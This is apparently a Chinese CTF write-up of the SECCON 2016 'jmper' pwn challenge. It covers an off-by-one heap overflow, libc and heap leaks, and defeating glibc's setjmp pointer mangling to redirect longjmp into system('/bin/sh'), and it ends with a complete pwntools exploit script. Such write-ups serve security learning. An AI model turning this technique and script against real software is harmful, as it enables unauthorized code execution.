Pwn With longjmp

Author Avatar
hac425 3月 20, 2018
  • 在其它设备中阅读本文章

前言

这个是 seccon-ctf-quals-2016 的一个题,利用方式还是挺特殊的记录一下。

题目链接

1
http://t.cn/RnfeHLv

正文

首先看看程序的安全措施

1
2
3
4
5
6
7
haclh@ubuntu:~/workplace/jmper$ checksec jmper
[*] '/home/haclh/workplace/jmper/jmper'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

开了 Full RELRO, 所以不能修改 got 表了。

paste image

分配了两个大内存,一个作为一个全局表,用于存放程序中用的结构体指针, 一个作为 jmpbuf, 用于在 longjmp 时跳转回来。

接下来就是 f 函数,程序主要的逻辑在这里面。

Add student

paste image

最多的可以创建 0x1dstudent, 如果已经创建满了的话就 longjmp 返回到 main 函数结束程序。创建时会分配两个堆内存。
结构体类型大概为

paste image

分配第一个 student 时的 内存布局为

paste image

Name student

paste image

输入 id, 然后在 myclass 里面找到相应的地址,取出 name_ptr ,向里面写入内容,注意循环条件

1
for ( i = 0; i <= 0x20; ++i )

我们可以写入 0x21 个字节,我们分配的内存为 0x20, 可以有 一字节的 溢出,不过这里我们不能控制 分配的大小以及 释放堆块, 无法使用 overlap-heap 利用。继续往下看。

Write memo

paste image

类似的操作,依旧可以溢出 memo 的 一个字节, 在 memo 后面存放的是 name_ptr 所以我们可以修改 name_ptr 的最低字节.

有一个小知识,如果内存分配的顺序大小不变,各个内存块相对于堆基地址的偏移是固定的,所以修改 name_ptr 的最低字节,我们可以使得 name_ptr 指向和 它距离较近的堆块。

这里的话直接修改为下一个堆块的 name_ptr 的地址, 然后利用 name student 就可以修改下一个堆块的 name_ptr,再利用后面的 Show Name 功能就可以实现 任意地址读写。

paste image

paste image

以后通过

1
2
set_name(0, p64(addr))
getname(1)

就可以实现任意地址读

通过

1
2
set_name(0, p64(addr))
set_name(1, data)

就可以实现任意地址写

现在的问题是往哪写,写什么。

当新增的student的人数到限制后,会调用longjmp, 我们来看看 调用 longjmp 时做了什么

paste image

进入函数时 rdijmpbuf 的地址,可以看到,在 jmpbuf + 0x38 处存放了加密后的 rip, 进入 longjmp会先解密 出 rip 然后跳转。

1
2
3
mov rdx, [rdi+38h]
ror rdx, 11h
xor rdx, fs:30h

jmpbuf 在堆中,如果我们可以 拿到 fs:30h 然后修改 jmpbuf + 0x38 ,我们就可以控制执行流了。

longjmp 跳转的地址其实就是 调用 setjmp 的下一条指令(0x400C31

paste image

又由于 xor 是可逆的,所以我们可以通过

1
2
3
mov rdx, [rdi+38h]
ror rdx, 11h
xor rdx, 0x400C31

得到 fs:30h

paste image

至于重新的加密 rip 的过程,可以看 setjmp 的实现

paste image

所以总的利用思路

  • 利用 off-by-one 获取任意地址读写的能力
  • 利用 student 2name_ptr 泄露堆地址
  • 获取 jmpbuf + 0x38 的值,计算 fs:30h的值
  • 重新计算值写入 jmpbuf + 0x38 , 同时往 jmpbuf开头写入 ``/bin/sh\x00

参考

https://github.com/ctfs/write-ups-2016/tree/master/seccon-ctf-quals-2016/exploit/cheer-msg-100

最后的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info')
p = process("./jmper")
def ror(reg, count):
src = bin(reg)[2:]
src = "0" * (64 - len(src)) + src
# print(src)
# print(src[-count:] + ":::" + src[:64 - count])
return int(src[-count:] + src[:64 - count],2)
def rol(reg, count):
src = bin(reg)[2:]
src = "0" * (64 - len(src)) + src
# print(src)
# print(src[:count] + ":::" + src[count:])
# print(src[count:] + src[:count])
return int(src[count:] + src[:count],2)
def add():
p.recvuntil("Bye :)")
p.sendline("1")
def set_name(index, name):
p.recvuntil("Bye :)")
p.sendline("2")
p.recvuntil("ID:")
p.sendline(str(index))
p.recvuntil("Input name:")
p.sendline(name)
def write_memo(index, data):
p.recvuntil("Bye :)")
p.sendline("3")
p.recvuntil("ID:")
p.sendline(str(index))
p.recvuntil("Input memo:")
p.sendline(data)
def getname(index):
p.recvuntil("Bye :)")
p.sendline("4")
p.recvuntil("ID:")
p.sendline(str(index))
gdb.attach(p,'''
# bp 0x0400B03
# bp __sigsetjmp
c
''')
pause()
add() # get stu 0
set_name(0, "/bin/sh\x00")
write_memo(0, "b"*8)
add() # get stu 1
set_name(1, "c"*8)
write_memo(1, "d"*8)
write_memo(0, "b"*32 + "\x78") # 设置 student0 的 name_ptr 指向 student1 的 name_ptr 的位置
log.info("此时 0's name_ptr--> 1's name_ptr的地址")
pause()
getname(0)
heap = u64(p.recv(3) + "\x00" * 5) - 656
log.info("heap的基地址: " + hex(heap))
pause()
set_name(0, p64(0x0601FA8+1))
log.info("1's name_ptr ---> printf@got+1")
pause()
getname(1)
printf_addr = u64("\x00" + p.recv(5) + "\x00" * 2)
libc = printf_addr - 350208
system = libc + 283536
longjmp = libc + 0x352F0
log.info("libc: " + hex(libc))
log.info("system: " + hex(system))
log.info("longjmp: " + hex(longjmp))
pause()
jmpbuf = heap + 0x110
saved_rip_addr = jmpbuf + 0x38
# 获取 saved_rip_addr 处的数据
set_name(0, p64(saved_rip_addr))
getname(1)
saved_rip = u64(p.recv(8))
xor_key = ror(saved_rip, 0x11) ^ 0x400C31
new_saved_rip = rol(system ^ xor_key, 0x11)
log.info("saved_rip: " + hex(saved_rip))
log.info("xor_key: " + hex(xor_key))
log.info("new saved_rip: " + hex(new_saved_rip) )
pause()
set_name(1,p64(new_saved_rip))
set_name(0, p64(jmpbuf))
set_name(1,"/bin/sh\x00")
log.info("set jmpbuf: /bin/sh\x00.....")
pause()
for x in xrange(0x1e - 2):
add()
log.info("call longjmp")
pause()
add()
p.interactive()

本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2018/03/20/pwn_with_longjmp.html